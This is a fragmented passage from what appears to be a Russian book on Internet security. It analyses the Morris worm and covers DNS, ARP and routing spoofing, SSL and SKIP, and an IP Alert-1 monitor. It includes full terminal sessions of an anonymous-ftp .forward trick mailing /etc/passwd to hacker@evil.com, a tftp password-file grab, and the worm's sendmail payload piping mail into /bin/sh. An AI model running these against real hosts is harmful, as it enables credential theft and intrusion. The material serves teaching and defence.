Атака через Internet

         

Обработка аргументов командной строки


Вирус мог запускаться с аргументом "-p NNN" , где NNN - десятичное число, которое является идентификатором породившего процесса. Впоследствии вирус использовал это число для удаления данного процесса с целью "заметания следов" .

Остальные аргументы командной строки являлись именами файлов, которые он пытался загрузить. Если не удавалось загрузить хотя бы один из них, вирус заканчивал работу. Если был задан аргумент "-p NNN" , то он так же стирал файлы и потом пытался уничтожить свой образ на диске.

Затем вирус предпринимал следующие действия (причем, если какие-то из них терпели неудачу, он завершался):

проверял, что был задан хотя бы один файл в командной строке;

проверял, был ли успешно загружен файл ll.c.

Если была задана опция "-p" , программа закрывала все файлы, открытые породившим процессом.

Затем стирался массив аргументов для маскировки способа запуска вируса.

Вирус сканировал все сетевые интерфейсы, получал статус и адреса каждого интерфейса.

Вирус уничтожал процесс, заданный опцией "-p NNN" и перед этим менял группу (GID) текущего процесса, чтобы не погибнуть вместе с ним.

Если все эти действия заканчивались удачно, далее он выполнял процедуру doit, которая совершала остальную работу.



Атака с использованием анонимного ftp


Анонимный ftp-сервис (обнаружить его наличие чрезвычайно легко, и это не должно возбуждать никаких подозрений) может служить легким способом получения доступа, поскольку его часто неправильно конфигурируют. Например, система может иметь полную копию файла /etc/passwd в каталоге ~ftp/etc вместо урезанной версии - со всеми вытекающими отсюда последствиями (см. предыдущий пункт). Кроме того, можно применить и более изощренный способ - в следующем примере домашний каталог специального пользователя ftp на victim.com доступен для записи. Это позволяет послать по почте самому себе файл /etc/passwd атакуемой машины. Для этого надо создать файл .forward в домашнем каталоге ftp, который выполняется, когда пользователю ftp посылается почта. Происходит это следующим образом: evil % cat forward_sucker_file

"|/bin/mail hacker@evil.com < /etc/passwd" evil % ftp victim.com

Connected to victim.com 220 victim FTP server ready. Name (victim.com:hacker): ftp

331 Guest login ok, send ident as password. Password: ***** 230 Guest login ok, access restrictions apply. ftp> ls -lga

200 PORT command successful. 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). total 5 drwxr-xr-x 4 101 1 512 Jun 20 1991 . drwxr-xr-x 4 101 1 512 Jun 20 1991 .. drwxr-xr-x 2 0 1 512 Jun 20 1991 bin drwxr-xr-x 2 0 1 512 Jun 20 1991 etc drwxr-xr-x 3 101 1 512 Aug 22 1991 pub 226 ASCII Transfer complete. 242 bytes received in 0.066 seconds (3.6 Kbytes/s) ftp> put forward_sucker_file .forward

43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit

evil % echo test | mail ftp@victim.com

Теперь можно просто сидеть и ждать, когда файл с паролями будет послан обратно.

Очевидно, что такая атака (как и следующая) является типичной по сценарию 2.

Рассматривая ftp, можно проверить более старую ошибку: % ftp -n

ftp> open victim.com

Connected to victim.com 220 victim.com FTP server ready. ftp> quote user ftp

331 Guest login ok, send ident as password. ftp> quote cwd ~ root

530 Please login with USER and PASS. ftp> quote pass ftp

230 Guest login ok, access restrictions apply. ftp> ls -al /



Если этот прием сработал, то атакующий теперь вошел в систему как системный администратор ( root ). Если данная ошибка имеется в системе, то следует обязательно обновить ftpd.

Далее мы еще рассмотрим более свежие "дыры" в ftp-демонах.



Имена


Ядро вируса состоит из двух бинарных модулей: один для машин VAX-архитектуры, другой для Sun-архитектуры. Это объектные файлы, содержащие списки имен своих внутренних процедур.

Удивительно, что эти имена осмысленны (например, doit или cracksome), ведь такой простой метод, как случайный выбор имен процедур, мог бы сильно усложнить анализ вируса.



Как администратору сети защититься от ложного DNS-сервера?


Если отвечать на этот вопрос коротко, то никак. Ни административно, ни программно нельзя защититься от атаки на существующую версию службы DNS. Оптимальным с точки зрения безопасности решением будет вообще отказаться от использования службы DNS в вашем защищенном сегменте! Конечно, совсем отказаться от использования имен при обращении к хостам для пользователей будет очень не удобно. Поэтому можно предложить следующее компромиссное решение: использовать имена, но отказаться от механизма удаленного DNS-поиска. Вы правильно догадались, что это возвращение к схеме, использовавшейся до появления службы DNS с выделенными DNS-серверами. Тогда на каждой машине в сети существовал hosts файл, в котором находилась информация о соответствующих именах и IP-адресах всех хостов в сети. Очевидно, что на сегодняшний день администратору можно внести в подобный файл информацию о лишь наиболее часто посещаемых пользователями данного сегмента серверах сети. Поэтому использование на практике данного решения чрезвычайно затруднено и, видимо, нереально (что, например, делать с броузерами, которые используют URL с именами?).

Для затруднения осуществления данной удаленной атаки можно предложить администраторам использовать для службы DNS вместо протокола UDP, который устанавливается по умолчанию, протокол TCP (хотя из документации далеко не очевидно, как его сменить). Это существенно затруднит для атакующего передачу на хост ложного DNS-ответа без приема DNS-запроса.

Общий неутешительный вывод таков: в сети Internet при использовании существующей версии службы DNS не существует приемлемого решения для защиты от ложного DNS-сервера (и не откажешься, как в случае с ARP, и использовать опасно)!



Отладочный режим в программе Sendmail


Вирус использовал функцию "debug" программы sendmail, которая устанавливала отладочный режим для текущего сеанса связи. Отладочный режим обладает некоторыми дополнительными возможностями, такими как возможность посылать сообщения, снабженные программой-получателем, которая запускается на удаленной машине и осуществляет прием сообщения. Эта возможность, не предусмотренная протоколом SMTP, использовалась разработчиками для отладки программы, и в рабочей версии была оставлена по ошибке. Таким образом, налицо типичный пример атаки по сценарию 1.

Спецификация программы, которая будет выполняться при получении почты, содержится в файле псевдонимов (aliases) программы sendmail или в пользовательском файле .forward. Эта спецификация используется программами, обрабатывающими или сорти-рующими почту, и не должна применяться самой программой sendmail. В вирусе эта программа-получатель содержала команды, убирающие заголовки почты, после чего посылала остаток сообщения командному интерпретатору, который создавал, компилировал и выполнял программу на языке Си, служившую "абордажным крюком" , и та, в свою очередь, принимала оставшиеся модули из атакующей машины. Вот что передавал вирус через SMTP-соединение: debug mail from: </dev/null > rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0"> data cd /usr/tmp cat > x14481910.c <<'EOF' <текст программы ll.c> EOF cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c. quit

Вирус заражал компьютеры двух типов - VAX и Sun, поэтому пересылались двоичные коды для той и другой архитектуры, оба запускались, но исполняться мог только один. В компьютерах других архитектур (не VAX и Sun) программы не могли функционировать, хотя и поглощали системные ресурсы в момент компиляции.



Предотвращение повторного заражения


Участок кода для предотвращения повторного заражения содержал много ошибок. Это имело решающее значение, т. к. из-за того, что многие машины заражались повторно, нагрузка на системы и сеть увеличивалась и становилась весьма ощутимой (некоторые машины даже не могли с ней справиться).

Вирус, "проверяющий" наличие других вирусов, пытался связаться с портом 23357 для того, чтобы установить контакт с "отвечающим" вирусом. Если это не удавалось, вирус предполагал, что других вирусов нет, и сам становился "отвечающим" .

Если связь устанавливалась, "проверяющий" посылал магическое число 8865431 и в течение 300 секунд ожидал другое магическое число 1345688. Если число было неверным, "проверяющий" разрывал связь.

Затем он выбирал случайное число и посылал "отвечающему" . После этого, в течение 10 секунд, он ожидал возврата этого числа, после чего складывал его с посланным. Если сумма была четным числом, то "проверяющий" устанавливал значение переменной pleasequit. Иначе говоря, каждый раз из двух вирусов один "смертник" выбирался случайно.

После окончания (успешного или неудачного) сеанса связи "проверяющий" "засыпал" на 5 секунд и пытался стать "отвечающим" . Для этого он создавал TCP сокет, устанавливал его параметры для межпроцессной связи и подключал его к порту 23357.

Этот код содержал столько ошибок, что вызывает удивление тот факт, что он вообще работал. Он завершался с ошибкой при следующих условиях:

если несколько вирусов заражали чистую машину одновременно, то они так же одновременно пытались найти остальных в режиме "проверяющих" . Так как никто не мог их найти, они постепенно переключались в режим ожидания сообщения и один из них получал его, а остальные прекращали попытки связаться друг с другом и не отвечали на запросы;

если несколько вирусов одновременно стартовали в присутствии другого уже работающего вируса, то только одному из них удавалось связаться с активным вирусом, остальные не могли этого сделать;


если машина работала медленно или была сильно загружена, то это могло привести к исчерпанию вирусом лимита времени, отпущенного на установление связи с другими вирусами, что приводило к прекращению обмена.
Заметим, что здесь выражение "одновременно" подразумевает 5-20 секундный промежуток.
Критичная ошибка содержалась в коде, когда вирус решал, что должен завершиться. Все, что он делал - это устанавливал переменную pleasequit. Эта не давало эффекта до тех пор, пока вирус не:
собрал список имен машин для их атаки;
собрал список имен пользователей;
осуществил перебор всех "очевидных" паролей (см. 8.4.4.3) и не попробовал 10 случайно взятых паролей из своего словаря.
Так как вирус удалял все временные файлы, то его присутствие в машине не мешало ее повторному заражению.
Многократно зараженные машины распространяли вирус быстрее, возможно пропорционально числу копий вируса на машине, т. к.:
вирус перемешивал списки имен машин и пользователей, которые собирался атаковать, используя генератор случайных чисел, зависящий от системного времени. Разные копии получали разные случайные числа и атаковали разные объекты;
вирус проводил много времени, ожидая сообщений от других вирусов, поэтому вирусы не конфликтовали между собой, запрашивая системные ресурсы.
Таким образом, вирус распространялся гораздо быстрее, чем это ожидал автор, и был обнаружен именно по этой причине.

SKIP-технология и криптопротоколы


Прочитав 4 и 5 главы, читатель, очевидно, уяснил, что одна из основных причин успеха удаленных атак на распределенные ВС кроется в использовании сетевых протоколов обмена, которые не могут надежно идентифицировать удаленные объекты, защитить соединение и передаваемые по нему данные. Поэтому совершенно естественно, что в процессе функционирования Internet были созданы различные защищенные сетевые протоколы, использующие криптографию как с закрытым, так и с открытым ключом. Классическая криптография с симметричными криптоалгоритмами предполагает наличие у передающей и принимающей стороны симметричных (одинаковых) ключей для шифрования и дешифрирования сообщений. Эти ключи предполагается распределить заранее между конечным числом абонентов, что в криптографии называется стандартной проблемой статического распределения ключей. Очевидно, что применение классической криптографии с симметричными ключами возможно лишь на ограниченном множестве объектов. В сети Internet для всех ее пользователей решить проблему статического распределения ключей, очевидно, не представляется возможным. Однако одним из первых защищенных протоколов обмена в Internet был протокол Kerberos, основанный именно на статическом распределении ключей для конечного числа абонентов. Таким же путем, используя классическую симметричную криптографию, вынуждены идти наши спецслужбы, разрабатывающие свои защищенные криптопротоколы для сети Internet. Это объясняется тем, что почему-то до сих пор нет гостированного криптоалгоритма с открытым ключом. Везде в мире подобные стандарты шифрования давно приняты и сертифицированы, а мы, видимо, опять идем другим путем!

Итак, понятно, что для того, чтобы дать возможность защититься всему множеству пользователей сети Internet, а не ограниченному его подмножеству, необходимо использовать динамически вырабатываемые в процессе создания виртуального соединения ключи при использовании криптографии с открытым ключом (п. 6.2 и подробно в [11]). Далее мы рассмотрим основные на сегодняшний день подходы и протоколы, обеспечивающие защиту соединения.

SKIP (Secure Key Internet Protocol)-технологией называется стандарт инкапсуляции IP-пакетов, позволяющий в существующем стандарте IPv4 на сетевом уровне обеспечить защиту соединения и передаваемых по нему данных. Это достигается следующим образом: SKIP-пакет представляет собой обычный IP-пакет, поле данных которого представляет из себя SKIP-заголовок определенного спецификацией формата и криптограмму (зашифрованные данные). Такая структура SKIP-пакета позволяет беспрепятственно направлять его любому хосту в сети Internet (межсетевая адресация происходит по обычному IP-заголовку в SKIP-пакете). Конечный получатель SKIP-пакета по заранее определенному разработчиками алгоритму расшифровывает криптограмму и формирует обычный TCP- или UDP-пакет, который и передает соответствующему обычному модулю (TCP или UDP) ядра операционной системы. В принципе, ничто не мешает разработчику формировать по данной схеме свой оригинальный заголовок, отличный от SKIP-заголовка.

S-HTTP (Secure HTTP) - это разработанный компанией Enterprise Integration Technologies (EIT) специально для Web защищенный HTTP-протокол. Протокол S-HTTP позволяет обеспечить надежную криптозащиту только HTTP-документов Web-севера и функционирует на прикладном уровне модели OSI. Эта особенность протокола S-HTTP делает его абсолютно специализированным средством защиты соединения, и, как следствие, невозможное его применение для защиты всех остальных прикладных протоколов (FTP, TELNET, SMTP и др.). Кроме того, ни один из существующих на сегодняшний день основных Web-броузеров (ни Netscape Navigator 3.0, ни Microsoft Explorer 3.0) не поддерживают данный протокол.

SSL (Secure Socket Layer) - разработка компании Netscape - универсальный протокол защиты соединения, функционирующий на сеансовом уровне OSI. Этот протокол, использующий криптографию с открытым ключом, на сегодняшний день, по нашему мнению, является единственным универсальным средством, позволяющим динамически защитить любое соединение с использованием любого прикладного протокола (DNS, FTP, TELNET, SMTP и т. д.). Это связано с тем, что SSL, в отличие от S-HTTP, функционирует на промежуточном сеансовом уровне OSI (между транспортным - TCP, UDP, - и прикладным - FTP, TELNET и т. д.). При этом процесс создания виртуального SSL-соединения происходит по схеме Диффи и Хеллмана (п. 6.2), которая позволяет выработать криптостойкий сеансовый ключ, используемый в дальнейшем абонентами SSL-соединения для шифрования передаваемых сообщений. Протокол SSL сегодня уже практически оформился в качестве официального стандарта защиты для HTTP-соединений, то есть для защиты Web-серверов. Его поддерживают, естественно, Netscape Navigator 3.0 и, как ни странно, Microsoft Explorer 3.0 (вспомним ту ожесточенную войну броузеров между компаниями Netscape и Microsoft). Конечно, для установления SSL-соединения с Web-сервером еще необходимо и наличие Web-сервера, поддерживающего SSL. Такие версии Web-серверов уже существуют (SSL-Apachе, например). В заключении разговора о протоколе SSL нельзя не отметить следующий факт: законами США до недавнего времени был запрещен экспорт криптосистем с длиной ключа более 40 бит (недавно он был увеличен до 56 бит). Поэтому в существующих версиях броузеров используются именно 40-битные ключи. Криптоаналитиками путем экспериментов было выяснено, что в имеющейся версии протокола SSL шифрование с использованием 40-битного ключа не является надежной защитой для передаваемых по сети сообщений, так как путем простого перебора (240 комбинаций) этот ключ подбирается за время от 1,5 (на суперЭВМ Silicon Graphics) до 7 суток (в процессе вычислений использовалось 120 рабочих станций и несколько мини ЭВМ).

Итак, очевидно, что повсеместное применение этих защищенных протоколов обмена, особенно SSL (конечно, с длиной ключа более 40 бит), поставит надежный барьер на пути всевозможных удаленных атак и серьезно усложнит жизнь кракеров всего мира. Однако весь трагизм сегодняшней ситуации с обеспечением безопасности в Internet состоит в том, что пока ни один из существующих криптопротоколов (а их уже немало) не оформился в качестве единого стандарта защиты соединения, который поддерживался бы всеми производителями сетевых ОС! Протокол SSL, из имеющихся на сегодня, подходит на эту роль наилучшим образом. Если бы его поддерживали все сетевые ОС, то не потребовалось бы создание специальных прикладных SSL-совместимых серверов (DNS, FTP, TELNET, WWW и др.). Если не договориться о принятии единого стандарта на защищенный протокол сеансового уровня, то тогда потребуется принятие многих стандартов на защиту каждой отдельной прикладной службы. Например, уже разработан экспериментальный, никем не поддерживаемый протокол Secure DNS. Также существуют экспериментальные SSL-совместимые Secure FTP- и TELNET-серверы. Но все это без принятия единого поддерживаемого всеми производителями стандарта на защищенный протокол не имеет абсолютно никакого смысла. А на сегодняшний день производители сетевых ОС не могут договориться о единой позиции на эту тему и, тем самым, перекладывают решение этих проблем непосредственно на пользователей Internet и предлагают им решать свои проблемы с информационной безопасностью так, как тем заблагорассудится!



Внедрение в распределенную ВС ложного объекта путем навязывания ложного маршрута


Современные глобальные сети представляют собой совокупность сегментов сети, связанных между собой через сетевые узлы. При этом маршрутом называется последовательность узлов сети, по которой данные передаются от источника к приемнику. Каждый маршрутизатор имеет специальную таблицу, называемую таблицей маршрутизации, в которой для каждого адресата указывается оптимальный маршрут. Отметим, что таблицы маршрутизации существуют не только у маршрутизаторов, но и у любых хостов в глобальной сети. Для обеспечения эффективной и оптимальной маршрутизации в распределенных ВС применяются специальные управляющие протоколы, позволяющие маршрутизаторам обмениваться информацией друг с другом (RIP (Routing Internet Protocol), OSPF (Open Shortest Path First)), уведомлять хосты о новом маршруте - ICMP (Internet Control Message Protocol), удаленно управлять маршрутизаторами (SNMP (Simple Network Management Protocol)). Важно отметить, что все описанные выше протоколы позволяют удаленно изменять маршрутизацию в сети Internet, то есть являются протоколами управления сетью.

Поэтому абсолютно очевидно, что маршрутизация в глобальных сетях играет важнейшую роль и, как следствие этого, может подвергаться атаке. Основная цель атаки, связанной с навязыванием ложного маршрута, состоит в том, чтобы изменить исходную маршрутизацию на объекте распределенной ВС так, чтобы новый маршрут проходил через ложный объект - хост атакующего.

Реализация данной типовой удаленной атаки состоит в несанкционированном использовании протоколов управления сетью для изменения исходных таблиц маршрутизации.

Для изменения маршрутизации атакующему необходимо послать по сети определенные данными протоколами управления сетью специальные служебные сообщения от имени сетевых управляющих устройств (напри-мер, маршрутизаторов). В результате успешного изменения маршрута атакующий получит полный контроль над потоком информации, которой обмениваются два объекта распределенной ВС, и атака перейдет во вторую стадию, связанную с приемом, анализом и передачей сообщений, получаемых от дезинформированных объектов РВС. Методы воздействия на перехваченную информацию приведены в п. 3.2.3.3. Пример атаки данного типа в сети Internet рассмотрен в п. 4.4.

Навязывание объекту РВС ложного маршрута - активное воздействие (класс 1.2), совершаемое с любой из целей из класса 2, безусловно по отношению к цели атаки (класс 3.3). Данная типовая удаленная атака может осуществляться как внутри одного сегмента (класс 5.1), так и межсегментно (класс 5.2), как с обратной связью (класс 4.1), так и без обратной связи с атакуемым объектом (класс 4.2) на транспортном (класс 6.3) и прикладном (класс 6.7) уровне модели OSI.



Взаимодействие объектов без установления виртуального канала


Одним из важнейших вопросов, на который необходимо ответить, говоря об идентификации/аутентификации объектов/субъектов РВС, является вопрос о видах взаимодействия между субъектами и объектами в распределенной ВС. Как отмечалось в п. 3.2.2, взаимодействие между субъектами и объектами РВС бывает двух видов:

с использованием виртуального канала,

без использования виртуального канала.

Практика показывает, что 99% взаимодействия между объектами в сети Internet проходит с установлением ВК (при любом FTP-, TELNET-, HTTP- и т. п. подключении используется протокол TCP, а, следовательно, создается ВК). Это происходит из-за того, что взаимодействие по виртуальному каналу является единственным динамическим способом защиты сетевого соединения объектов РВС. Дело в том, что в процессе создания ВК объекты РВС обмениваются динамически вырабатываемой ключевой информацией, позволяющей уникально идентифицировать канал. В противном случае для идентификации объектов распределенной системы пришлось бы использовать массив статической идентификационной информации, уникальной для каждого объекта в системе. А это означает, что мы получаем стандартную проблему статического распределения ключей (матрица NхN), которая решается только на ограниченном подмножестве объектов. Очевидно, что задача статического распределения ключей на сегодняшний день в принципе не может быть решена в сети Internet, да этого и не требуется.

Итак, мы показали, что идентификация объектов РВС, при отсутствии статической ключевой информации, возможна только при взаимодействии объектов с использованием виртуального канала. Это, в свою очередь, означает, что взаимодействие объектов без установления ВК является одной из возможных причин успеха удаленных атак на РВС.

Но ошибочно считать распределенную вычислительную систему безопасной, даже если все взаимодействие объектов происходит с созданием ВК. Об этом речь пойдет в следующем пункте.



Взаимодействие в сети Internet объектов без установления виртуального канала


Одной из особенностей сети Internet выступает взаимодействие объектов без создания виртуального канала. Очевидно, что разработчики планировали подобное взаимодействие в том случае, если оно не является критичным для системы и не требуется обеспечения его безопасности. Однако, как в случае управляющих ICMP-сообщений (которые уж никак не назовешь не критичными для системы!), так и в случае DNS-запросов используется связь без ВК. Это приводит к возможности осуществления УА, рассмотренных в п. 4.3 и 4.4.



Инициализация процедуры doit


В ней инициализируется генератор случайных чисел; кроме того, вирус сохраняет время для последующего определения того, как долго он работал в системе.

Затем вызывается процедура hg. Если она оканчивается неудачно, вызывается процедура ha.

После этого с вероятностью шесть седьмых (это было сделано специально) проверяется, существует ли на данной машине работающая копия вируса (см. 8.4.3.1).

На последнем этапе процедура инициализации должна была по замыслу автора посылать байт по адресу 128.32.137.13, соответствующему ernie.berke-ley.edu, в порт 11357. Такое никогда не происходило, так как автор неправильно использовал вызов функции.



Основной цикл процедуры doit


Это бесконечный цикл, содержащий наиболее активные компоненты вируса. В нем вызывается процедура cracksome, пытающаяся найти компьютеры, в которые можно проникнуть. Затем, после 30-секундного ожидания, во время которого происходит попытка связаться с другими вирусами, вирус пытается проникнуть в другие машины.

После осуществления атак он разветвляется, создавая две копии. Первоначальная (процесс-родитель) уничтожается, оставляя процессу-потомку всю информацию.

Затем процедуры hd, hl и ha ищут машины для заражения (см. 8.4.4.4), и программа ждет еще 2 минуты.

Наконец, перед возвратом на начало цикла, проверяется значение глобальной переменной pleasequit. Если она установлена и если вирус уже перебрал более 10 слов из собственного словаря паролей, вирус завершает работу. Таким образом, принудительная установка pleasequit не дает эффекта моментального завершения всех вирусов.



Использование эвристического подхода для определения целей


Чтобы не тратить время, пытаясь заразить не UNIX-систему, вирус иногда пытался установить связь с предполагаемой мишенью с помощью telnet или rsh; если это не удавалось, то вирус и не пытался ее заразить. Благодаря этому некоторые системы избежали заражения, т. к., хотя и поддерживали электронную почту, но отказывали в доступе telnet или rsh.



Использование нестойких алгоритмов идентификации объектов при создании виртуального канала


Ошибочно считать взаимодействие объектов по виртуальному каналу в распределенной ВС панацеей от всех проблем, связанных с идентификацией объектов РВС. ВК является необходимым, но не достаточным условием безо-пасного взаимодействия. Чрезвычайно важным в данном случае становится выбор алгоритма идентификации при создании ВК. Основное требование, которое следует предъявлять к данным алгоритмам, состоит в следующем: перехват ключевой информации, которой обмениваются объекты РВС при создании ВК не должен позволить атакующему получить итоговые идентификаторы канала и объектов (п. 6.2). Это требование по сути очевидно. Оно должно предъявляться к алгоритмам идентификации исходя из принципиальной возможности прослушивания атакующим канала передачи. Однако в большинстве существующих сетевых ОС в базовых алгоритмах идентификации, используемых при создании ВК, этим требованием разработчики практически пренебрегают. Так, например, в ОС Novell NetWare 3.12- 4.1 идентификатор канала - это число в диапазоне 0-FFh, идентификатор объекта (рабочей станции или файл-сервера) - также число от 0 до FFh; в протоколе TCP идентификаторами канала и объектов являются два 32-битных числа, формируемых в процессе создания TCP-соединения (п. 4.5).

Из всего сказанного ясно, что создание виртуального канала с использованием нестойкого алгоритма идентификации не позволяет надежно обезопасить РВС от подмены объектов взаимодействия и выступает одной из причин успеха удаленных атак на распределенные вычислительные системы.


Как уже подчеркивалось, протокол TCP является единственным базовым протоколом транспортного уровня сети Internet, в функции которого заложена защита соединения. Однако использование простейшего алгоритма идентификации объектов при создании виртуального TCP-канала (п. 4.5), особенно при условии применения в сетевых ОС простейших времязависимых законов генерации TCP-иден-тификаторов (ISN), сводят на нет все попытки обеспечения идентификации канала и объектов при их взаимодействии по протоколу TCP.

Использование tftp


Существует также программа, подобная ftpd - tftpd. Этот демон не требует пароля для аутентификации. Если хост предоставляет tftp без ограничения доступа (обычно с помощью установок флагов безопасности в файле inetd.conf), то атакующий получает доступ по чтению и записи к любым файлам. Например, он может получить файл паролей с удаленной машины и разместить его в локальном каталоге /tmp: evil % tftp

tftp> connect victim.com

tftp> get /etc/passwd /tmp/passwd.victim

tftp> quit

Это является атакой по сценарию 2.



Как администратору DNS-сервера защититься от ложного DNS-сервера?


Если отвечать на этот вопрос коротко, то, опять же, никак. Единственным способом затруднить осуществление данной удаленной атаки, это использовать для общения с хостами и с другими DNS-серверами только протокол TCP, а не UDP. Тем не менее, это только затруднит выполнение атаки - не забывайте как про возможный перехват DNS-запроса, так и про возможность математического предсказания начального значения TCP-идентификатора ISN (п. 4.5.1).

В заключение можно порекомендовать для всей сети Internet поскорее перейти либо к новой более защищенной версии службы DNS, либо принять единый стандарт на защищенный протокол. Сделать этот переход, несмотря на все колоссальные расходы, просто необходимо, иначе сеть Internet может быть просто поставлена на колени перед всевозрастающими успешными попытками нарушения ее безопасности при помощи данной службы!



Ошибка в демоне Fingerd


Другой изъян, также относящийся к типовому сценарию 1, который позволял вирусу распространяться, находился в программе fingerd. Данная программа содержала в себе фрагмент кода примерно следующего вида: { char buf[100]; .... gets(buf); .. }

Проверка переполнения буфера в ней не осуществлялась. Так как буфер был в стеке, то переполнение позволяло создавать в стеке фрагмент кода и изменять адрес возврата из процедуры таким образом, что при возврате управление передавалось на этот код. Вирус передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve ("/bin/sh", 0, 0). Таким способом атаковались только машины VAX с операционной системой 4.3BSD; на компьютерах Sun, использующих SunOS, такие атаки терпели неудачу.



Процедура doit


Процедура doit состоит из двух частей - инициализации и основного цикла.



и теоретические изыскания авторов, по


Практические и теоретические изыскания авторов, по направлению, связанному с исследованием безопасности распределенных ВС, в том числе и сети Internet (два полярных направления исследования: нарушение и обеспечение информационной безопасности), навели на следующую мысль: в сети Internet, как и в других сетях (например, Novell NetWare, Windows NT), ощущается серьезная нехватка программного средства защиты, осуществляющего комплексный контроль (мониторинг) на канальном уровне за всем потоком передаваемой по сети информации с целью обнаружения всех типов удаленных воздействий, описанных в 4 главе. Исследование рынка программного обеспечения сетевых средств защиты для Internet выявило тот факт, что подобных комплексных средств обнаружения удаленных воздействий по нашим сведениям не существует, а те, что имеются, предназначены для обнаружения воздействий одного конкретного типа (например, ICMP Redirect (п. 4.4) или ARP (п. 4.2)). Поэтому и была начата разработка средства контроля сегмента IP-сети, предназначенного для использования в сети Internet и получившее следующее название: сетевой монитор безопасности IP Alert-1. Основная задача этого средства, программно анализирующего сетевой трафик в канале передачи, состоит не в отражении осуществляемых по каналу связи удаленных атак, а в их обнаружении, протоколировании (ведении файла аудита с протоколированием в удобной для последующего визуального анализа форме всех событий, связанных с удаленными атаками на данный сегмент сети) и незамедлительным сигнализировании администратору безопасности в случае обнаружения удаленной атаки. Основной задачей сетевого монитора безопасности IP Alert-1 является осуществление контроля за безопасностью соответствующего сегмента сети Internet.

Сетевой монитор безопасности IP Alert-1 обладает следующими функциональными возможностями и позволяет, путем сетевого анализа, обнаружить следующие удаленные атаки на контролируемый им сегмент сети Internet.

Функциональные возможности сетевого монитора безопасности IP Alert-1

1. Контроль за соответствием IP- и Ethernet-адресов в пакетах, передаваемых хостами, находящимися внутри контролируемого сегмента сети.



На хосте IP Alert- 1 администратор безопасности создает статическую ARP-таблицу, куда заносит сведения о соответствующих IP- и Ethernet-адресах хостов, находящихся внутри контролируемого сегмента сети.
Данная функция позволяет обнаружить несанкционированное изменение IP-адреса или его подмену (IP Spoofing).
2. Контроль за корректным использованием механизма удаленного ARP-поиска.
Эта функция позволяет, используя статическую ARP-таблицу, определить удаленную атаку "Ложный ARP-сервер" (п. 4.2).
3. Контроль за корректным использованием механизма удаленного DNS-поиска.
Эта функция позволяет определить все возможные виды удаленных атак на службу DNS (атаки в п. 4.3. 1- 4.3.3).
4. Контроль на наличие ICMP Redirect сообщения.
Данная функция оповещает об обнаружении ICMP Redirect сообщения и соответствующей удаленной атаки, описанной в п. 4.4
5. Контроль за корректностью попыток удаленного подключения путем анализа передаваемых запросов.
Эта функция позволяет обнаружить, во-первых, попытку исследования закона изменения начального значения идентификатора TCP-соединения - ISN (п. 4.5.1), во-вторых, удаленную атаку "отказ в обслуживании" , осуществляемую путем переполнения очереди запросов на подключение (п. 4.6), и, в-третьих, направленный "шторм" ложных запросов на подключение (как TCP, так и UDP), приводящий также к отказу в обслуживании (п. 4.6).
Таким образом, сетевой монитор безопасности IP Alert-1 позволяет обнаружить, оповестить и запротоколировать все виды удаленных атак, описанных в 4 главе! При этом данная программа никоим образом не является конкурентом системам Firewall. IP Alert-1, используя описанные и систематизированные в 4 главе особенности удаленных атак на сеть Internet, служит необходимым дополнением - кстати, несравнимо более дешевым, - к системам Firewall. Без монитора безопасности большинство попыток осуществления удаленных атак на ваш сегмент сети останется скрыто от ваших глаз. Ни один из известных авторам файрволов не занимается подобным интеллектуальным анализом проходящих по сети сообщений на предмет выявления различного рода удаленных атак, ограничиваясь, в лучшем случае, ведением журнала, в который заносятся сведения о попытках подбора паролей для TELNET и FTP, о сканировании портов и о сканировании сети с использованием знаменитой программы удаленного поиска известных уязвимостей сетевых ОС - SATAN (п. 8.9.1). Поэтому, если администратор IP-сети не желает оставаться безучастным и довольствоваться ролью простого статиста при удаленных атаках на его сеть, то ему желательно использовать сетевой монитор безопасности IP Alert-1. Кстати, напомним, что Цутому Шимомура смог запротоколировать атаку Кевина Митника (п. 4.5.2), во многом, видимо, благодаря программе tcpdump - простейшему анализатору IP-трафика.
Рис. 7.2. Сетевой монитор безопасности IP Alert-1.

Внедрение в распределенную


В распределенной ВС часто оказывается, что ее удаленные объекты изначально не имеют достаточно информации, необходимой для адресации сообщений. Обычно такой информацией являются аппаратные (адрес сетевого адаптера) и логические (IP-адрес, например) адреса объектов РВС. Для получения подобной информации в распределенных ВС используются различные алгоритмы удаленного поиска, заключающиеся в передаче по сети специального вида поисковых запросов, и в ожидании ответов на запрос с искомой информацией. После получения ответа на запрос, запросивший субъект РВС обладает всеми необходимыми данными для адресации. Руководствуясь полученными из ответа сведениями об искомом объекте, запросивший субъект РВС начинает адресоваться к нему. Примером подобных запросов, на которых базируются алгоритмы удаленного поиска, могут служить SAP-запрос в ОС Novell NetWare [9], ARP- и DNS-запрос в сети Internet (п. 4.2 и 4.3).

В случае использования распределенной ВС механизмов удаленного поиска существует возможность на атакующем объекте перехватить посланный запрос и послать на него ложный ответ, где указать данные, использование которых приведет к адресации на атакующий ложный объект. В дальнейшем весь поток информации между субъектом и объектом взаимодействия будет проходить через ложный объект РВС.

Другой вариант внедрения в РВС ложного объекта использует недостатки алгоритма удаленного поиска и состоит в периодической передаче на атакуемый объект заранее подготовленного ложного ответа без приема поискового запроса. В самом деле, атакующему для того, чтобы послать ложный ответ, не всегда обязательно дожидаться приема запроса (он может, в принципе, не иметь подобной возможности перехвата запроса). При этом атакующий может спровоцировать атакуемый объект на передачу поискового запроса (п. 4.3.3), и тогда его ложный ответ будет немедленно иметь успех. Данная типовая удаленная атака чрезвычайно характерна для глобальных сетей, когда у атакующего из-за нахождения его в другом сегменте относительно цели атаки просто нет возможности перехватить поисковый запрос. Пример атаки данного типа на сеть Internet приведен в п. 4.3.3.

Ложный объект РВС - активное воздействие (класс 1.2), совершаемое с целью нарушения конфиденциальности (класс 2.1) и целостности информации (класс 2.2), которое может являться атакой по запросу от атакуемого объекта (класс 3.1), а также безусловной атакой (класс 3.3). Данная удаленная атака является как внутрисегментной (класс 5.1), так и межсегментной (класс 5.2), имеет обратную связь с атакуемым объектом (класс 4.1) и осуществляется на канальном (класс 6.2) и прикладном (класс 6.7) уровнях модели OSI.



Это предварительный этап, на котором


Это предварительный этап, на котором определяется список возможных мишеней для атаки (имена и сетевые адреса компьютеров, имена и пароли пользователей).

